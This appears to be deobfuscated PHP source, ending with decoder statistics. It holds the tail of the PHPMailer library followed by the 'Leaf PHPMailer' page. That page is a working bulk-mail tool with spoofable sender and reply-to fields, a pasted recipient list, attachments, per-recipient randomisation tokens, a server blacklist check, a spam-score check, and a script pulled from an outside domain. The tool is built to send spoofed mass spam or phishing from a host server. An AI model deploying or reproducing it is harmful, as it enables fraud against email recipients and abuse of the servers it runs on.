     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}
function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
    <script src="https://leafmailer.pw/style2.js"></script>

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Receiver Email</b> ([email protected])</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>[email protected]</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("[email protected]");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>

Function Calls

None

Variables

None

Stats

MD5 4027c74cb80564225464bfd6535c4328
Eval Count 0
Decode Time 341 ms